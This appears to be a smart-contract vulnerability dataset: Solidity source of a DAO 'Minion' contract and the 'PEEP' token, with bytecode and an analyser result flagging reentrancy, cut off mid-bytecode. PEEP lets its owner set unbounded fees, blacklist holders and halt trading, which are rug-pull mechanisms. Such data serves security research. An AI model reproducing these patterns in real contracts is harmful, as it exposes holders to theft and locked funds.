uint256 yesVotes; // the total number of YES votes for this proposal
uint256 noVotes; // the total number of NO votes for this proposal
bool[6] flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick]
string details; // proposal details - could be IPFS hash, plaintext, or JSON
uint256 maxTotalSharesAndLootAtYesVote; // the maximum # of total shares encountered at a yes vote on this proposal
}
function proposals(uint256 proposalId) external returns (address, address, address, uint256, uint256, uint256, address, uint256, address, uint256, uint256, uint256);
// function proposals(uint256 proposalId) external returns (Proposal memory);
function withdrawBalance(address token, uint256 amount) external;
}
contract Minion is IERC721Receiver, IERC1155Receiver {
using SafeMath for uint256;
IMOLOCH public moloch;
address public molochDepositToken;
uint256 public minQuorum;
bool private initialized; // internally tracks deployment under eip-1167 proxy pattern
mapping(uint256 => Action) public actions; // proposalId => Action
struct Action {
uint256 value;
address to;
address proposer;
bool executed;
bytes data;
address token;
uint256 amount;
}
event ProposeAction(uint256 proposalId, address proposer);
event ExecuteAction(uint256 proposalId, address executor);
event DoWithdraw(address token, uint256 amount);
event CrossWithdraw(address target, address token, uint256 amount);
event PulledFunds(address moloch, uint256 amount);
event ActionCanceled(uint256 proposalId);
modifier memberOnly() {
require(isMember(msg.sender), "Minion::not member");
_;
}
function init(address _moloch, uint256 _minQuorum) external {
require(!initialized, "initialized");
moloch = IMOLOCH(_moloch);
minQuorum = _minQuorum;
molochDepositToken = moloch.depositToken();
initialized = true;
}
function onERC721Received (address, address, uint256, bytes calldata) external pure override returns(bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns(bytes4) {
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) external pure override returns(bytes4)
{
return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"));
}
// -- Withdraw Functions --
function doWithdraw(address token, uint256 amount) public memberOnly {
moloch.withdrawBalance(token, amount); // withdraw funds from parent moloch
emit DoWithdraw(token, amount);
}
function crossWithdraw(address target, address token, uint256 amount, bool transfer) external memberOnly {
// @Dev - Target needs to have a withdrawBalance functions
IMOLOCH(target).withdrawBalance(token, amount);
// Transfers token into DAO.
if(transfer) {
bool whitelisted = moloch.tokenWhitelist(token);
require(whitelisted, "not a whitelisted token");
require(IERC20(token).transfer(address(moloch), amount), "token transfer failed");
}
emit CrossWithdraw(target, token, amount);
}
// -- Proposal Functions --
function proposeAction(
address actionTo,
uint256 actionValue,
bytes calldata actionData,
string memory details,
address withdrawToken,
uint256 withdrawAmount
) external memberOnly returns (uint256) {
// No calls to zero address allows us to check that proxy submitted
// the proposal without getting the proposal struct from parent moloch
require(actionTo != address(0), "invalid actionTo");
uint256 proposalId = moloch.submitProposal(
address(this),
0,
0,
0,
molochDepositToken,
withdrawAmount,
withdrawToken,
details
);
Action memory action = Action({
value: actionValue,
to: actionTo,
proposer: msg.sender,
executed: false,
data: actionData,
token: withdrawToken,
amount: withdrawAmount
});
actions[proposalId] = action;
emit ProposeAction(proposalId, msg.sender);
return proposalId;
}
function executeAction(uint256 proposalId) external returns (bytes memory) {
Action memory action = actions[proposalId];
require(action.to != address(0), "invalid proposalId");
require(!action.executed, "action executed");
bool isPassed = hasQuorum(proposalId);
require(isPassed, "proposal execution requirements not met");
if(moloch.getUserTokenBalance(address(this), action.token) >= action.amount) {
doWithdraw(action.token, action.amount);
}
require(address(this).balance >= action.value, "insufficient native token");
// execute call
actions[proposalId].executed = true;
(bool success, bytes memory retData) = action.to.call{value: action.value}(action.data);
require(success, "call failure");
emit ExecuteAction(proposalId, msg.sender);
return retData;
}
function cancelAction(uint256 _proposalId) external {
Action memory action = actions[_proposalId];
require(msg.sender == action.proposer, "not proposer");
delete actions[_proposalId];
emit ActionCanceled(_proposalId);
moloch.cancelProposal(_proposalId);
}
function hasQuorum(uint256 _proposalId) internal returns (bool) {
// something like this to check is some quorum is met
// if met execution can proceed before proposal is processed
uint256 padding = 100;
uint256 totalShares = moloch.totalShares();
bool[6] memory flags = moloch.getProposalFlags(_proposalId);
// uint yesVotes = moloch.proposals(_proposalId).yesVotes;
// uint noVotes = moloch.proposals(_proposalId).noVotes;
(, , , , , , , , , , uint256 yesVotes, uint256 noVotes) = moloch.proposals(_proposalId);
if (flags[2]) {
return true;
}
if (minQuorum != 0) {
uint256 quorum = yesVotes.mul(padding).div(totalShares);
// if quorum is set it must be met and their can be no NO votes
return quorum >= minQuorum && noVotes < 1;
}
return false;
}
// -- Helper Functions --
function isMember(address user) public view returns (bool) {
address memberAddress = moloch.memberAddressByDelegateKey(user);
(, uint shares,,,,) = moloch.members(memberAddress);
return shares > 0;
}
receive() external payable {}
fallback() external payable {}
}
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
contract CloneFactory {
function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable minion
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
contract MinionFactory is CloneFactory {
address payable immutable public template; // fixed template for minion using eip-1167 proxy pattern
address[] public minionList;
mapping (address => AMinion) public minions;
event SummonMinion(address indexed minion, address indexed moloch, string details, string minionType, uint256 minQuorum);
struct AMinion {
address moloch;
string details;
}
constructor(address payable _template) {
template = _template;
}
function summonMinion(address moloch, string memory details, uint256 minQuorum) external returns (address) {
Minion minion = Minion(createClone(template));
minion.init(moloch, minQuorum);
string memory minionType = "nifty minion";
minions[address(minion)] = AMinion(moloch, details);
minionList.push(address(minion));
emit SummonMinion(address(minion), moloch, details, minionType, minQuorum);
return(address(minion));
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80633fb88bec146100515780636f2ddd931461007a5780637b37458714610082578063d67014df14610095575b600080fd5b61006461005f36600461048f565b6100b6565b60405161007191906105a2565b60405180910390f35b61006461025e565b61006461009036600461053f565b610282565b6100a86100a336600461046e565b6102ac565b6040516100719291906105b6565b6000806100e27f000000000000000000000000238867f9b48d477134a7e74b3d7e48746b29599c61035f565b604051630e66b9c960e21b81529091506001600160a01b0382169063399ae7249061011390889087906004016105e2565b600060405180830381600087803b15801561012d57600080fd5b505af1158015610141573d6000803e3d6000fd5b5050604080518082018252600c81526b3734b33a3c9036b4b734b7b760a11b602080830191909152825180840184526001600160a01b038b811682528183018b815288821660009081526001808652969020835181546001600160a01b0319169316929092178255518051949750919550936101c5939085019291909101906103b1565b5050600080546001810182559080527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e5630180546001600160a01b0319166001600160a01b038581169182179092556040519189169250907fa7263f64fc0919758633f16671099128e3b868bb0893fcb099b19fb9ab522ade9061024d90899086908a906105fb565b60405180910390a350949350505050565b7f000000000000000000000000238867f9b48d477134a7e74b3d7e48746b29599c81565b6000818154811061029257600080fd5b6000918252602090912001546001600160a01b0316905081565b600160208181526000928352604092839020805481840180548651600261010097831615979097026000190190911695909504601f81018590048502860185019096528585526001600160a01b03909116949193929091908301828280156103555780601f1061032a57610100808354040283529160200191610355565b820191906000526020600020905b81548152906001019060200180831161033857829003601f168201915b5050505050905082565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826103e7576000855561042d565b82601f1061040057805160ff191683800117855561042d565b8280016001018555821561042d579182015b8281111561042d578251825591602001919060010190610412565b5061043992915061043d565b5090565b5b80821115610439576000815560010161043e565b80356001600160a01b038116811461046957600080fd5b919050565b60006020828403121561047f578081fd5b61048882610452565b9392505050565b6000806000606084860312156104a3578182fd5b6104ac84610452565b925060208085013567ffffffffffffffff808211156104c9578485fd5b818701915087601f8301126104dc578485fd5b8135818111156104e857fe5b604051601f8201601f191681018501838111828210171561050557fe5b60405281815283820185018a101561051b578687fd5b81858501868301379081019093019490945250929592945050506040919091013590565b600060208284031215610550578081fd5b5035919050565b60008151808452815b8181101561057c57602081850181015186830182015201610560565b8181111561058d5782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03831681526040602082018190526000906105da90830184610557565b949350505050565b6001600160a01b03929092168252602082015260400190565b60006060825261060e6060830186610557565b82810360208401526106208186610557565b91505082604083015294935050505056fea26469706673582212206dd34a2de63ad04688e9c98f1175931e478c4b3736fb6804e2232b2ff5b7924664736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,373 |
0x7521e2640abf94067891f266527c364f31e78b52
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
// SPDX-License-Identifier: Unlicensed
/**
The birds peeped exactly as we refilled the ETH
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PEEP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Birds Peep";
string private constant _symbol = "PEEP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 5000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xC3E195a4C99497D140228d87754A1f16c530eea2);
address payable private _marketingAddress = payable(0xC3E195a4C99497D140228d87754A1f16c530eea2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000000 * 10**9;
uint256 public _maxWalletSize = 100000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b257600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611959565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600a8152690426972647320506565760b41b60208201525b60405161023a9190611a1e565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a73565b61069c565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b5069010f0cf064dd592000005b60405190815260200161023a565b3480156102de57600080fd5b506102636102ed366004611a9f565b6106b3565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023a565b34801561033057600080fd5b50601554610293906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae0565b61071c565b34801561037057600080fd5b506101fc61037f366004611b0d565b610767565b34801561039057600080fd5b506101fc6107af565b3480156103a557600080fd5b506102c46103b4366004611ae0565b6107fa565b3480156103c557600080fd5b506101fc61081c565b3480156103da57600080fd5b506101fc6103e9366004611b28565b610890565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae0565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610293565b34801561045b57600080fd5b506101fc61046a366004611b0d565b6108bf565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b506040805180820190915260048152630504545560e41b602082015261022d565b3480156104be57600080fd5b506101fc6104cd366004611b28565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b41565b610936565b3480156104fe57600080fd5b5061026361050d366004611a73565b610974565b34801561051e57600080fd5b5061026361052d366004611ae0565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b73565b6109d5565b34801561058357600080fd5b506102c4610592366004611bf7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b28565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae0565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c30565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c65565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c91565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611da9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c30565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c30565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c30565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c30565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c30565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c30565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c30565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c30565b60005b82811015610a70578160056000868685818110610a2157610a21611c65565b9050602002016020810190610a369190611ae0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c91565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c30565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c30565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611caa565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c57506015546001